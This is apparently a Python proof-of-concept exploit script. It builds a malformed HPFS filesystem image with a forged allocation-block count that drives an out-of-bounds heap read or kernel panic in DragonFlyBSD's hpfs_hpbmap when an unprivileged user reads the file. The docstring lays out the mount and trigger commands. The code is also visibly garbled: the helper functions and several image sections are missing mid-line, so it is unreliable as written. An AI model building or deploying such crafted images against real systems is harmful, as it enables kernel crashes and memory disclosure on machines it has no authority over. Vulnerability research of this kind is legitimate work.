#!/usr/bin/env python3 """ DF-0857 — Hand-crafted minimal HPFS image to trigger the ab_busycnt OOB read in hpfs_hpbmap() end-to-end on the DragonFlyBSD guest. The image is laid out as follows (sector size = 512B, DEV_BSIZE): LSN contents ---- --------------------------------------------------------------- 0x00 boot sector (zeros) 0x10 SuperBlock (magic FA53E9C5F995E849; rootfno=0x20; btotal=0x80; su_bitmap.lsn1=0x30) 0x11 SpareBlock (magic FA5229C5F9911849; sp_cpinum=0) 0x20 root fnode (VDIR; fn_ab: busycnt=1, leaf; alleaf[0]={0,1,0x40}) 0x30 bitmap dir (one u32 = 0x38, the bitmap sector) 0x38 bitmap (4KB = 8 sectors; mark used sectors) 0x40 dirblk (4 sectors = 2KB; D_MAGIC=77E40AAE; one dirent "FILE" → fnode LSN=0x48) 0x48 file fnode (VREG; fn_size=0x1000; FORGED fn_ab: busycnt=255, leaf; alleaf[0]={0,4,0x50}) 0x50 file data (4 sectors = 2KB of 'A') Mount: mount_hpfs -o ro /dev/vnX /mnt Trigger (as unpriv user): cat /mnt/FILE → hpfs_read → hpfs_hpbmap → loop at hpfs_alsubr.c:114 walks 255 alleaf_t's past fn_abd[0x60] → OOB heap read / panic """ import struct, sys, os SECTOR = 512 # magics SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE # struct fnode offsets (computed manually, matches hpfs.h layout on amd64): FN_OFF_MAGIC = 0x00 # u32 FN_OFF_HIST = 0x08 # u64 readhist FN_OFF_NAMELEN = 0x10 # u8 FN_OFF_NAME = 0x11 # char[15] FN_OFF_PARENT = 0x20 # lsn_t u32 FN_OFF_ACL = 0x24 # sptr_t (cnt u32 + lsn u32) = 8 FN_OFF_ACLLEN = 0x2C # u16 FN_OFF_ACLFLG = 0x2E # u8 FN_OFF_HISTBC = 0x2F # u8 FN_OFF_EXTEA = 0x30 # sptr_t 8 FN_OFF_EALEN = 0x38 # u16 FN_OFF_EXTEAFLG= 0x3A # u8 FN_OFF_FLAG = 0x3B # u8 (nonzero => VDIR) FN_OFF_AB = 0x3C # alblk_t 8 bytes: flag,res[3],freecnt,busycnt,freeoff(u16) FN_OFF_ABD = 0x44 # u8[0x60] (96) FN_OFF_SIZE = 0xA4 # u32 (offset = 0x44 + 0x60 = 0xA4) # alblk_t internal layout AB_OFF_FLAG = 0 AB_OFF_FREECNT = 4 AB_OFF_BUSYCNT = 5 AB_OFF_FREEOFF = 6 # u16 def build_image(outpath, forged_busycnt=255): size = 0x80 * SECTOR img = bytearray(size) def wr32(off, v): struct.pack_into('hpm_bmind[0] = bitmap sector 0x38 # ---- Bitmap @ 0x38 (4KB = 8 sectors). Mark used sectors 0..0x37 ---- bm = 0x38 * SECTOR # btotal = 0x80 sectors. Bitmap has 1 bit per sector. Mark sectors 0..0x3F used (cleared bit), # sectors 0x40..0x7F free (set bit). Bits are stored little-endian within u32 words. # Actually convention: bit SET = sector FREE. We mark all the metadata sectors 0..0x37 as used. for i in range(0x40): byte = bm + (i >> 3) img[byte] &= ~(1 << (i & 7)) for i in range(0x40, 0x80): byte = bm + (i >> 3) img[byte] |= (1 << (i & 7)) # ---- Root fnode @ 0x20 (VDIR) ---- rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr64(rf + FN_OFF_HIST, 0) wr8 (rf + FN_OFF_NAMELEN, 1) img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) # self-parent for root wr32(rf + FN_OFF_FLAG, 1) # VDIR (nonzero fn_flag) # fn_ab: leaf, busycnt=1, freecnt=7, freeoff=8+12=20 img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 # leaf img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) # alleaf[0] in fn_abd: al_off=0, al_len=1, al_lsn=0x40 (the dirblk) wr32(rf + FN_OFF_ABD + 0, 0) # al_off wr32(rf + FN_OFF_ABD + 4, 1) # al_len wr32(rf + FN_OFF_ABD + 8, 0x40) # al_lsn → dirblk wr32(rf + FN_OFF_SIZE, 4 * SECTOR) # fn_size for dir # ---- Dirblk @ 0x40 (4 sectors = 2KB). D_BSIZE = 2048 ---- db = 0x40 * SECTOR wr32(db + 0, D_MAGIC) # d_magic wr32(db + 4, 0x50) # d_freeoff (first free byte; filled below) wr32(db + 8, 0) # d_chcnt wr32(db + 12, 0x20) # d_parent (root fnode) wr32(db + 16, 0x40) # d_self # First hpfsdirent @ offset 20 (sizeof dirblk_t = 20). # NOTE: on DragonFly amd64, u_long is 8 bytes AND 8-byte-aligned, so the # in-kernel struct hpfsdirent layout has 4 bytes of padding between # de_size (u32) and de_atime (u_long). The kernel casts bytes from the # dirblk to (struct hpfsdirent *), so we must format the dirent to match # DragonFly's own struct layout (NOT the OS/2 on-disk layout): # 0x00 de_reclen u16 # 0x02 de_flag u16 # 0x04 de_fnode lsn_t (u32) # 0x08 de_mtime u_long (u64 on amd64) # 0x10 de_size u32 # 0x14 -- pad 4 bytes for u_long alignment of de_atime -- # 0x18 de_atime u_long (u64) # 0x20 de_ctime u_long (u64) # 0x28 de_ealen u32 # 0x2c de_flexflag u8 # 0x2d de_cpid u8 # 0x2e de_namelen u8 # 0x2f de_name[namelen] # then padded so de_reclen is a multiple of 4; if DE_DOWN, last 4 bytes # of the dirent are the down lsn. We don't set DE_DOWN. name = b'FILE' de1_hdr = 0x2f # up to de_name[0] de1_reclen = de1_hdr + len(name) de1_reclen = (de1_reclen + 3) & ~3 # 4-byte align dep = db + 20 wr16(dep + 0x00, de1_reclen) wr16(dep + 0x02, 0) # flag: not special/down/end wr32(dep + 0x04, 0x48) # de_fnode → file fnode wr64(dep + 0x08, 0) # de_mtime u64 wr32(dep + 0x10, 0x1000) # de_size wr64(dep + 0x18, 0) # de_atime u64 (after 4-byte pad) wr64(dep + 0x20, 0) # de_ctime u64 wr32(dep + 0x28, 0) # de_ealen img[dep + 0x2c] = 0 # flexflag img[dep + 0x2d] = 0 # cpid img[dep + 0x2e] = len(name) # namelen for i in range(len(name)): img[dep + 0x2f + i] = name[i] # End dirent: just DE_END flag, reclen to fill the rest of dirblk dep2 = dep + de1_reclen end_reclen = 4 * SECTOR - (dep2 - db) # rest of the 2KB dirblk wr16(dep2 + 0x00, end_reclen) wr16(dep2 + 0x02, 0x08) # DE_END # fix d_freeoff (relative to dirblk start) wr32(db + 4, (dep2 + 4) - db) # ---- File fnode @ 0x48 (VREG; FORGED ab_busycnt=255) ---- ff = 0x48 * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr32(ff + FN_OFF_PARENT, 0x20) # parent = root dir wr8 (ff + FN_OFF_NAMELEN, 4) img[ff + FN_OFF_NAME + 0] = ord('F') img[ff + FN_OFF_NAME + 1] = ord('I') img[ff + FN_OFF_NAME + 2] = ord('L') img[ff + FN_OFF_NAME + 3] = ord('E') wr32(ff + FN_OFF_FLAG, 0) # VREG (fn_flag=0) # FORGED alblk: leaf, busycnt=forged_busycnt, freecnt=0, freeoff=8+12 img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0 img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 0 img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = forged_busycnt # <-- FORGED wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) # alleaf[0] in fn_abd: al_off=0, al_len=4, al_lsn=0x50 (file data) wr32(ff + FN_OFF_ABD + 0, 0) wr32(ff + FN_OFF_ABD + 4, 4) wr32(ff + FN_OFF_ABD + 8, 0x50) # poison subsequent alleaf entries so the OOB read has identifiable bytes for k in range(1, 16): # fill rest of fn_abd with marker pattern off = ff + FN_OFF_ABD + k*12 if off + 12 <= ff + FN_OFF_ABD + 0x60: wr32(off + 0, 0xDEADBEEF) wr32(off + 4, 0xCAFEBABE) wr32(off + 8, 0xFEEDFACE) wr32(ff + FN_OFF_SIZE, 0x10000) # fn_size = 64KB >> 4-block extent, so # blocks 4..127 trigger the OOB walk # in hpfs_hpbmap (bn not matching any # in-bounds alleaf) # ---- File data @ 0x50 (4 sectors = 2KB of 'A') ---- fd = 0x50 * SECTOR img[fd:fd+4*SECTOR] = b'A' * (4*SECTOR) with open(outpath, 'wb') as f: f.write(img) print(f"wrote {outpath}: {len(img)} bytes; forged_busycnt={forged_busycnt}") if __name__ == '__main__': n = int(sys.argv[2], 0) if len(sys.argv) > 2 else 255 build_image(sys.argv[1] if len(sys.argv) > 1 else 'df857.img', forged_busycnt=n)